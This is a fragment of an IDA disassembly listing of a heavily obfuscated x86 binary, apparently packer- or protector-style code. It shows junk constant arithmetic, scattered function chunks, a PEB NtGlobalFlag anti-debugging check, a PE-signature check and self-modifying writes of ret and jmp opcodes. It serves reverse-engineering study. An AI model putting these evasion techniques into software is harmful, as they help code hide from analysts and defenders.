; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F1BA

loc_445983:				; CODE XREF: sub_43F1BA:loc_4561B3j
		or	ebx, 0D93F16C9h
		add	ebx, offset word_45B2FA
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_449E6C
; END OF FUNCTION CHUNK	FOR sub_43F1BA
; ---------------------------------------------------------------------------

loc_445997:				; CODE XREF: dviuq5id:0044DC1Bj
		jz	loc_44F075
		jmp	loc_44A4AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_4459A2:				; CODE XREF: sub_459385-1650Ej
		pop	esi
		or	esi, 0DDD6B479h
		rol	esi, 6
		xor	esi, 89C7F544h
		or	esi, 0D23976F6h
		add	esi, 20A31FFh
		jmp	loc_454924
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D717

loc_4459C3:				; CODE XREF: sub_44D717:loc_44FD62j
		xchg	esi, [esp+0]
		jmp	sub_44C294
; END OF FUNCTION CHUNK	FOR sub_44D717
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453D79

loc_4459CB:				; CODE XREF: sub_453D79-FBA1j
		jz	loc_452AEF
		cdq
		jmp	loc_448456
; END OF FUNCTION CHUNK	FOR sub_453D79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457B2A

loc_4459D7:				; CODE XREF: sub_457B2A:loc_45080Dj
		mov	eax, 86480F55h
		call	sub_453642
		mov	ds:dword_41D0C4, eax
		lea	eax, nullsub_9
		mov	byte ptr [eax],	0C3h
		jmp	loc_455301
; END OF FUNCTION CHUNK	FOR sub_457B2A
; ---------------------------------------------------------------------------
		pop	edx
		call	sub_448A6A

loc_4459FB:				; CODE XREF: dviuq5id:004506F2j
		jmp	locret_43CBC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_445A00:				; CODE XREF: sub_454094-6556j
		jmp	loc_43CEC6
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449222

loc_445A05:				; CODE XREF: sub_449222-B0EFj
		jmp	loc_44EC26
; END OF FUNCTION CHUNK	FOR sub_449222
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AB80

loc_445A0A:				; CODE XREF: sub_44AB80-118CDj
		jmp	loc_452DCC
; END OF FUNCTION CHUNK	FOR sub_44AB80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4560AC

loc_445A0F:				; CODE XREF: sub_4560AC:loc_44FB87j
		mov	edx, ebx
		pop	ebx
		push	offset sub_440CED
		jmp	loc_44C902
; END OF FUNCTION CHUNK	FOR sub_4560AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_445A1C:				; CODE XREF: sub_43C4B5:loc_43E17Fj
		mov	byte ptr [ebx],	0E9h
		pop	ebx
		xchg	ecx, [esp+4+var_4]
		mov	edx, ecx
		pop	ecx

loc_445A26:				; CODE XREF: sub_4440E9:loc_450121j
		add	edx, ds:4000F3h
		test	edx, 2
		jmp	loc_43A6A4
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------

loc_445A37:				; CODE XREF: dviuq5id:0043BFB8j
		ja	loc_451E81

; =============== S U B	R O U T	I N E =======================================



sub_445A3D	proc near		; CODE XREF: sub_455932-5EBCp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043B425 SIZE 0000001B BYTES

		xchg	eax, [esp+0]
		pop	eax
		xchg	ecx, [esp-4+arg_0]
		mov	ebx, ecx
		pop	ecx
		jmp	loc_43B425
sub_445A3D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AB80

loc_445A4C:				; CODE XREF: sub_44AB80-7E2Ej
		pop	ebx
		xchg	edx, [esp+4+var_4]
		mov	ebp, edx
		pop	edx
		retn
; END OF FUNCTION CHUNK	FOR sub_44AB80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45753F

loc_445A54:				; CODE XREF: sub_45753F+17F0j
		jmp	nullsub_345
; END OF FUNCTION CHUNK	FOR sub_45753F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445A59	proc near		; CODE XREF: sub_439A5E:loc_43BA71j
					; dviuq5id:0043BE25j ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0043BC6D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F6F4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043FEF1 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044191D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00442C92 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445340 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00446D9D SIZE 0000001F BYTES
; FUNCTION CHUNK AT 004476B9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448913 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044C230 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0044D274 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044D990 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00451AF3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00455F0C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00457821 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00458D3F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045A306 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045A4E5 SIZE 0000001B BYTES

		push	ebp

loc_445A5A:				; CODE XREF: dviuq5id:00449D28j
		mov	ebp, esp
		push	ecx
		jmp	loc_448913
sub_445A59	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458D9A

loc_445A62:				; CODE XREF: sub_458D9A-6B0Aj
		xchg	ecx, [esp+0]
		pushf
		push	2C70E7F0h
		pop	eax
		xor	eax, 0B14CE9D4h
		jmp	loc_44171D
; END OF FUNCTION CHUNK	FOR sub_458D9A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455C2B

loc_445A77:				; CODE XREF: sub_455C2B+1Cj
		sub	edi, 36A932A6h
		cmp	edi, 91A8BC7Bh
		jmp	loc_446D98
; END OF FUNCTION CHUNK	FOR sub_455C2B
; ---------------------------------------------------------------------------
		cdq
		jmp	sub_442BFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BAF7

loc_445A8E:				; CODE XREF: sub_44BAF7+9F4Ej
		push	edx
		call	sub_44C294
		mov	eax, 64A3F24h
		call	sub_43C4B5
		jmp	loc_43CF49
; END OF FUNCTION CHUNK	FOR sub_44BAF7
; ---------------------------------------------------------------------------
		push	784D76B3h
		pop	eax
		sub	eax, 0EE1A2321h
		add	eax, 757D0D55h
		push	offset sub_441001
		jmp	locret_44D843
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452A3E

loc_445ABF:				; CODE XREF: sub_452A3E-5E0Aj
		sub	eax, ecx
		pop	ecx
		mov	edx, [esp-4+arg_0]
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, ecx
		xchg	ebx, [esp+4+var_4]
		jmp	loc_44DE92
; END OF FUNCTION CHUNK	FOR sub_452A3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446A9C

loc_445AD3:				; CODE XREF: sub_457566-8AA7j
					; sub_446A9C:loc_456613j
		xor	edx, 7B080391h
		and	edx, 0B308AB9Dh
		xor	edx, 0CE3135B0h
		xor	eax, edx
		jmp	loc_43D134
; END OF FUNCTION CHUNK	FOR sub_446A9C
; ---------------------------------------------------------------------------

loc_445AEC:				; CODE XREF: dviuq5id:0043AABBj
		pop	esi
		and	ebx, 874806D8h
		xor	ebx, ds:4000F8h
		or	ebx, 0ADC5D04h
		rol	ebx, 7
		test	ebx, 4000000h
		jmp	loc_4484A8
; ---------------------------------------------------------------------------

loc_445B0D:				; CODE XREF: dviuq5id:00455C26j
		call	sub_453642
		push	ebx
		push	0B8239D42h
		pop	ebx
		rol	ebx, 12h
		jmp	loc_43B194
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B624

loc_445B21:				; CODE XREF: sub_44B624-DA40j
		push	esi
		push	45AB19D3h
		pop	esi
		add	esi, 2E818E4Fh
		rol	esi, 16h
		sub	esi, 0D092B865h
		add	esi, 0C83A4DEFh
		jmp	loc_455212
; END OF FUNCTION CHUNK	FOR sub_44B624
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455B54

loc_445B42:				; CODE XREF: sub_455B54:loc_447790j
		jnz	loc_44AB67
		jmp	loc_43FE73
; END OF FUNCTION CHUNK	FOR sub_455B54
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443304

loc_445B4D:				; CODE XREF: sub_443304:loc_4504FFj
		mov	esp, ebp
		push	offset loc_4482D7
		jmp	loc_457C7E
; END OF FUNCTION CHUNK	FOR sub_443304

; =============== S U B	R O U T	I N E =======================================



sub_445B59	proc near		; DATA XREF: sub_451EEC-68FFo
		xchg	edx, [esp+0]
		jmp	sub_44AB80
sub_445B59	endp

; ---------------------------------------------------------------------------
		jmp	loc_4520B7
; ---------------------------------------------------------------------------
		call	sub_440495
; START	OF FUNCTION CHUNK FOR sub_440898

loc_445B6B:				; CODE XREF: sub_440898+12A44j
		jo	nullsub_137

loc_445B71:				; CODE XREF: sub_440898:loc_44ACF3j
		push	0
		push	0
		push	10h
		push	offset sub_43C03F
; END OF FUNCTION CHUNK	FOR sub_440898
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_445B7C:				; CODE XREF: sub_43C4B5:loc_43AFCFj
		jmp	loc_447F56
; END OF FUNCTION CHUNK	FOR sub_43C4B5

; =============== S U B	R O U T	I N E =======================================



sub_445B81	proc near		; DATA XREF: sub_439013:loc_45A109o

; FUNCTION CHUNK AT 0043D7DE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044DE97 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004549DA SIZE 00000013 BYTES

		cmp	dword ptr [eax], 47424454h
		jz	loc_452033
		jmp	loc_43D7DE
sub_445B81	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458B23

loc_445B92:				; CODE XREF: sub_439013:loc_455F89j
					; sub_458B23+6j
		push	0E3B60A20h
		pop	edx
		or	edx, 2192A439h
		add	edx, 0A1841177h
		and	edx, 0EE2873F8h
		xor	edx, 0D07FF5BDh
		jmp	loc_43959C
; END OF FUNCTION CHUNK	FOR sub_458B23
; ---------------------------------------------------------------------------

loc_445BB5:				; DATA XREF: sub_443481o
		xchg	edi, [esp]
		push	edi
		pop	edx
		pop	edi
; START	OF FUNCTION CHUNK FOR sub_454E7C

loc_445BBB:				; CODE XREF: sub_454E7C:loc_4572EFj
		jno	loc_458E0D
		mov	eax, [esp+0]
		jmp	loc_44C4FF
; END OF FUNCTION CHUNK	FOR sub_454E7C
; ---------------------------------------------------------------------------

loc_445BC9:				; CODE XREF: dviuq5id:loc_44483Ej
					; dviuq5id:004460FFj
		mov	eax, offset off_457D6C
		mov	[ebp-4], eax
		mov	eax, offset dword_439800
		push	esi
		push	0AF687666h
		pop	esi
		jmp	loc_439D3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D393

loc_445BE2:				; CODE XREF: sub_43D393:loc_451D48j
		xchg	edi, [esp-4+arg_0]
		push	edi
		mov	edi, eax
		xchg	edi, [esp+0]
		mov	eax, [ebp-1Ch]
		jmp	loc_44F61F
; END OF FUNCTION CHUNK	FOR sub_43D393
; ---------------------------------------------------------------------------

loc_445BF3:				; DATA XREF: sub_442BFE+1175Ao
		or	eax, eax
		jnz	loc_43A538
		jmp	loc_441BD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453F0A

loc_445C00:				; CODE XREF: sub_453F0A:loc_453497j
		push	edx
		call	sub_44E1C0
		mov	eax, 729645CDh
		call	sub_44A58C
		mov	ds:off_41D040, eax

loc_445C16:				; CODE XREF: dviuq5id:00459B2Cj
		lea	eax, sub_453F0A
		jmp	loc_443375
; END OF FUNCTION CHUNK	FOR sub_453F0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E99

loc_445C21:				; CODE XREF: sub_440E99:loc_4530BAj
		and	edx, 0EE920439h
		test	edx, 40000000h

loc_445C2D:				; CODE XREF: dviuq5id:loc_455251j
		jmp	loc_44555C
; END OF FUNCTION CHUNK	FOR sub_440E99
; ---------------------------------------------------------------------------

loc_445C32:				; DATA XREF: sub_451F7A+Ao
		add	ecx, 0A535032Ch
		push	offset sub_4509EF
		jmp	loc_4504F5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_49. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_445C43:				; CODE XREF: sub_440898:loc_43D911j
		xor	edi, 1A51E56Bh
		not	edx
		test	ecx, ebp
		jmp	loc_448D4D
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
		add	eax, ebx
		jmp	loc_4425FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B9DA

loc_445C59:				; CODE XREF: sub_44B9DA:loc_44B639j
					; sub_44B9DA+3817j
		call	sub_451F61
; END OF FUNCTION CHUNK	FOR sub_44B9DA
; START	OF FUNCTION CHUNK FOR sub_4547F0

loc_445C5E:				; CODE XREF: sub_4547F0+Aj
		jmp	loc_44EE07
; END OF FUNCTION CHUNK	FOR sub_4547F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C5AE

loc_445C63:				; CODE XREF: sub_43C5AE+17A0Dj
		jmp	nullsub_186
; END OF FUNCTION CHUNK	FOR sub_43C5AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445707

loc_445C68:				; CODE XREF: sub_445707-72CCj
		jmp	loc_44557E
; END OF FUNCTION CHUNK	FOR sub_445707
; ---------------------------------------------------------------------------
byte_445C6D	db 90h			; DATA XREF: sub_43EFA5+BA47o
; ---------------------------------------------------------------------------
		push	0E8A1E474h
		pop	eax
		rol	eax, 2
		jmp	loc_44D7F5
; ---------------------------------------------------------------------------
		popf
		cdq
		jmp	sub_43BC7B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_445C83:				; CODE XREF: sub_43CB4C+12932j
		adc	ebp, ecx
		not	edi
		jmp	loc_43EA04
; END OF FUNCTION CHUNK	FOR sub_43CB4C

; =============== S U B	R O U T	I N E =======================================



sub_445C8C	proc near		; CODE XREF: dviuq5id:0043FD97p
					; dviuq5id:0044367Aj
		xchg	ecx, [esp+0]
		pop	ecx
		lea	eax, loc_43FD31
		mov	byte ptr [eax],	0C3h
		jmp	loc_43FD31
sub_445C8C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CB39

loc_445C9E:				; CODE XREF: sub_44CB39-CDFDj
		mov	eax, [esp-8+arg_4]
		push	edx
		jmp	loc_451B36
; END OF FUNCTION CHUNK	FOR sub_44CB39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_445CA7:				; CODE XREF: sub_4525D0:loc_44EF1Ej
		mov	dl, [ebp-9]
		shr	edx, cl
		or	eax, edx
		mov	edx, [ebp-8]
		mov	[edx], al
		mov	eax, [ebp-8]
		mov	al, [eax]
		jmp	loc_43B623
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
		jnz	loc_4530A3
		xchg	ecx, [esp]
		mov	edx, ecx
		pop	ecx
		jmp	loc_447954
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4584CA

loc_445CCE:				; CODE XREF: sub_4584CA-D621j
		push	ecx
		push	6EA6F11Fh
		pop	ecx
		rol	ecx, 0Ch
		and	ecx, 0FE3CD3A5h
		rol	ecx, 17h
		xor	ecx, 91DD72EDh
		jmp	loc_4534E9
; END OF FUNCTION CHUNK	FOR sub_4584CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BB2

loc_445CEC:				; CODE XREF: sub_439BB2:loc_44FF0Cj
		cdq
		call	sub_4530E7
; END OF FUNCTION CHUNK	FOR sub_439BB2
; START	OF FUNCTION CHUNK FOR sub_441C84

loc_445CF2:				; CODE XREF: sub_441C84+D46j
		jmp	loc_443826
; END OF FUNCTION CHUNK	FOR sub_441C84
; ---------------------------------------------------------------------------
		add	esi, edi
		jmp	sub_4399BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4408FF

loc_445CFE:				; CODE XREF: sub_4408FF+19A3Fj
		xchg	ebp, eax

loc_445D00:				; CODE XREF: sub_4408FF:loc_4444F4j
		mov	eax, [ebp-0Ch]
		cmp	eax, ds:dword_4489A0
		jz	loc_44F467
		jmp	loc_452687
; END OF FUNCTION CHUNK	FOR sub_4408FF
; ---------------------------------------------------------------------------
		dd 114C8A0Fh, 0C8E90001h
; ---------------------------------------------------------------------------
		mov	bl, 0
		add	[eax+ebp*2-31CA6BFBh], bl ; DATA XREF: sub_44AFDA+2913o
		pop	eax
		sub	eax, 0B6AE0C55h
		or	eax, 0D9596F36h
		push	offset sub_43A769
		jmp	loc_457AA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4461D0

loc_445D3C:				; CODE XREF: sub_4461D0-9022j
		jnz	loc_458B35

loc_445D42:				; CODE XREF: sub_44FC60+Dj
		jmp	sub_441903
; END OF FUNCTION CHUNK	FOR sub_4461D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F1D6

loc_445D47:				; CODE XREF: sub_43F1D6+6j
		jmp	loc_442C51
; END OF FUNCTION CHUNK	FOR sub_43F1D6
; ---------------------------------------------------------------------------
		sbb	edx, 0E790CB67h
		sbb	ebp, 0DE184FFh
		popf
		jmp	loc_458B35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_445D5E:				; CODE XREF: sub_439C09:loc_44D772j
		or	edx, esi
		jmp	loc_4490A1
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------

loc_445D65:				; CODE XREF: dviuq5id:0043A3BCj
		or	esi, ebx
		cdq
		shr	ebp, 0Bh

loc_445D6B:				; CODE XREF: dviuq5id:loc_43A3AAj
		add	esi, 0D71FEC5Ah
		xchg	esi, [esp]
		jmp	sub_453642
; ---------------------------------------------------------------------------
		js	loc_43EBA0

loc_445D7F:				; CODE XREF: dviuq5id:loc_450DA8j
		jmp	sub_449DCE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4427AE

loc_445D84:				; CODE XREF: sub_4427AE:loc_43FCD5j
					; sub_44BB42+9D2Dj
		cdq
		mov	ebp, 0FADA119Fh
		jmp	loc_454D11
; END OF FUNCTION CHUNK	FOR sub_4427AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_445D8F:				; CODE XREF: sub_454267-19AC5j
		jz	loc_4510C1
		jmp	loc_444F74
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443ECE

loc_445D9A:				; CODE XREF: sub_443ECE:loc_442B89j
		pop	edx
		pop	ecx
		xchg	ebp, [esp-4+arg_0]
		mov	ebx, ebp
		pop	ebp
		jmp	loc_458391
; END OF FUNCTION CHUNK	FOR sub_443ECE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_445DA7:				; CODE XREF: sub_44EAC4+FF3j
		jnz	loc_441352
		jmp	loc_43F59F
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------

loc_445DB2:				; CODE XREF: dviuq5id:loc_450F7Bj
		add	ebx, 0E7B9BD00h
		mov	[ebx], eax
		pop	ebx
		lea	eax, nullsub_500
		jmp	loc_453D29
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FCBC

loc_445DC6:				; CODE XREF: sub_44FCBC-148B6j
		lea	eax, sub_446465
		mov	byte ptr [eax],	0C3h
		jmp	loc_43ECCD
; END OF FUNCTION CHUNK	FOR sub_44FCBC
; ---------------------------------------------------------------------------
		call	nullsub_8
		jmp	ds:dword_41D130
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44952D

loc_445DDF:				; CODE XREF: sub_44952D-CCB9j
		jmp	loc_4558E2
; END OF FUNCTION CHUNK	FOR sub_44952D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		add	eax, 5AFFFFD6h
		mov	eax, [esp]
		jmp	loc_44CBDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445F35

loc_445DF3:				; CODE XREF: sub_445F35:loc_43F6A6j
		sub	eax, 0FC3EAB72h
		and	eax, 4C654A4Dh
		add	eax, 0B48C9965h
		add	eax, ebp
		jmp	loc_453660
; END OF FUNCTION CHUNK	FOR sub_445F35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452189

loc_445E0C:				; CODE XREF: sub_452189:loc_448964j
		pop	edi
		or	edi, 0EC1BCECBh
		and	edi, 11B09C09h
		test	edi, 200000h
		jmp	loc_442D1B
; END OF FUNCTION CHUNK	FOR sub_452189
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4489AE

loc_445E24:				; CODE XREF: sub_4489AE+7j
		mov	eax, [ebp-24h]
		movzx	eax, word ptr [eax]

loc_445E2A:				; CODE XREF: dviuq5id:loc_453C13j
		and	eax, 0FFFF7FFFh
		push	edx
		push	78B1715Fh
		pop	edx
		or	edx, 5EF507E8h
		jmp	loc_45A487
; END OF FUNCTION CHUNK	FOR sub_4489AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA0E

loc_445E41:				; CODE XREF: sub_43BA0E+11CC4j
		mov	byte ptr [eax],	0C3h
		jmp	loc_44F6D5
; END OF FUNCTION CHUNK	FOR sub_43BA0E
; ---------------------------------------------------------------------------
		call	nullsub_9
		jmp	ds:dword_41D0C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E67F

loc_445E54:				; CODE XREF: sub_44E67F+A9A2j
		jmp	loc_446626
; END OF FUNCTION CHUNK	FOR sub_44E67F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451DAA

loc_445E59:				; CODE XREF: sub_451DAA+12j
		jmp	loc_44881F
; END OF FUNCTION CHUNK	FOR sub_451DAA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		adc	byte ptr [ecx+5AFFFFFBh], 8Bh
		add	al, 24h
		jmp	loc_44BFB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44279B

loc_445E6D:				; CODE XREF: sub_44279B:loc_4396EAj
		push	offset loc_45290B
		jmp	nullsub_83
; END OF FUNCTION CHUNK	FOR sub_44279B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C80D

loc_445E77:				; CODE XREF: sub_44C80D:loc_452885j
		pop	ebx
		xchg	ebx, [esp-4+arg_0]
		ror	eax, 3
		jmp	loc_43B462
; END OF FUNCTION CHUNK	FOR sub_44C80D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445E83	proc near		; CODE XREF: sub_44C6EDj

; FUNCTION CHUNK AT 0044B757 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00457937 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_457937
sub_445E83	endp

; ---------------------------------------------------------------------------

loc_445E8C:				; CODE XREF: dviuq5id:0043B11Dj
		jle	loc_4441F8
		mov	ecx, edi
		jg	loc_44FA47
		xchg	ebp, ecx
		jmp	loc_45173D

; =============== S U B	R O U T	I N E =======================================



sub_445EA1	proc near		; CODE XREF: dviuq5id:0043A4CDj
					; sub_450686-10BF4p
		xchg	edx, [esp+0]
		pop	edx
		push	edx
		pushf
		push	offset loc_44E7E9
		jmp	nullsub_50
sub_445EA1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_445EB1:				; CODE XREF: sub_43FDFB+118EFj
		sub	ecx, edi
		xchg	edi, [ebp+0]
		ror	eax, 0Eh

loc_445EB9:				; CODE XREF: sub_43FDFB:loc_44BFDAj
		call	sub_456F43
		push	433E11C3h
		jmp	loc_450B1F
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4393C3

loc_445EC8:				; CODE XREF: sub_4393C3:loc_45337Dj
		jz	loc_447660
		popf
		jmp	loc_452BCD
; END OF FUNCTION CHUNK	FOR sub_4393C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B70C

loc_445ED4:				; CODE XREF: sub_44B70C-AD52j
					; sub_43A887:loc_45134Dj
		call	sub_4469F9
		push	ebp
		mov	ebp, ebx
		xchg	ebp, [esp-4+arg_0]
		push	0B9B57171h
		pop	ebx
		and	ebx, 0FE158081h
		add	ebx, 482EEDF7h
		jmp	loc_453D4D
; END OF FUNCTION CHUNK	FOR sub_44B70C
; ---------------------------------------------------------------------------
		mov	eax, large fs:30h
		mov	eax, [eax+68h]
		test	eax, 70h
		jz	loc_45145A
		jmp	loc_4575B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C2F6

loc_445F10:				; CODE XREF: sub_44C2F6-EA80j
					; sub_44C2F6:loc_444BC4j
		push	5EBF5850h
		pop	eax
		add	eax, 80694BD4h
		rol	eax, 16h
		add	eax, 33C62CF7h
		call	sub_44A58C
		push	edi
		push	0D15163A5h
		jmp	loc_447D3D
; END OF FUNCTION CHUNK	FOR sub_44C2F6

; =============== S U B	R O U T	I N E =======================================



sub_445F35	proc near		; CODE XREF: sub_43FFD9-C7Ep
					; dviuq5id:0045A578j

; FUNCTION CHUNK AT 0043DE18 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F144 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043F6A6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443BA4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00444609 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004453AA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445DF3 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044ECA1 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00450093 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00453660 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00453B64 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0045961A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045990F SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax

loc_445F39:				; CODE XREF: sub_44B558:loc_440477j
		add	eax, ebp
		add	eax, 6A443129h
		mov	eax, [eax]
		popf
		cmp	dword ptr [eax], 4550h
		jnz	loc_43F144
		jmp	loc_45990F
sub_445F35	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_445F55:				; CODE XREF: dviuq5id:00441037j
		jns	loc_459275
		or	esi, 0AB1F8A1h
		sub	edx, ebp
; START	OF FUNCTION CHUNK FOR sub_4463B7

loc_445F63:				; CODE XREF: sub_4463B7:loc_453CC0j
		xor	edx, 10CD6B0Fh
		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp+8+var_8]
		push	58E41C3Dh
		jmp	loc_457263
; END OF FUNCTION CHUNK	FOR sub_4463B7
; ---------------------------------------------------------------------------
		mov	eax, ebx
		pop	ebx
		jmp	sub_4535B0
; ---------------------------------------------------------------------------

loc_445F81:				; DATA XREF: sub_44C620+6o
		push	0C4C0A0C4h
		xchg	esi, [esp]
		mov	ebx, esi
		pop	esi
		rol	ebx, 1Dh
		jmp	loc_44892D
; ---------------------------------------------------------------------------

loc_445F94:				; DATA XREF: sub_440405-2A8Eo
		push	eax
		lea	eax, sub_441A02
		push	ebx
		mov	ebx, eax
		push	offset sub_44F2F5
		jmp	loc_447FA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E99

loc_445FA8:				; CODE XREF: sub_440E99+31D1j
		mov	eax, [esp+0]
		push	esi
		mov	esi, edx
		xchg	esi, [esp+4+var_4]
		nop
		mov	eax, 23829242h
		jmp	sub_439EDE
; END OF FUNCTION CHUNK	FOR sub_440E99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AB42

loc_445FBC:				; CODE XREF: sub_43AB42+17020j
		xchg	esi, [esp+4+var_4]
		call	sub_43D28E
		push	0C54D0A03h
		pop	eax
		and	eax, 3A924BA8h
		jmp	loc_4442E4
; END OF FUNCTION CHUNK	FOR sub_43AB42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445110

loc_445FD5:				; CODE XREF: sub_445110:loc_439658j
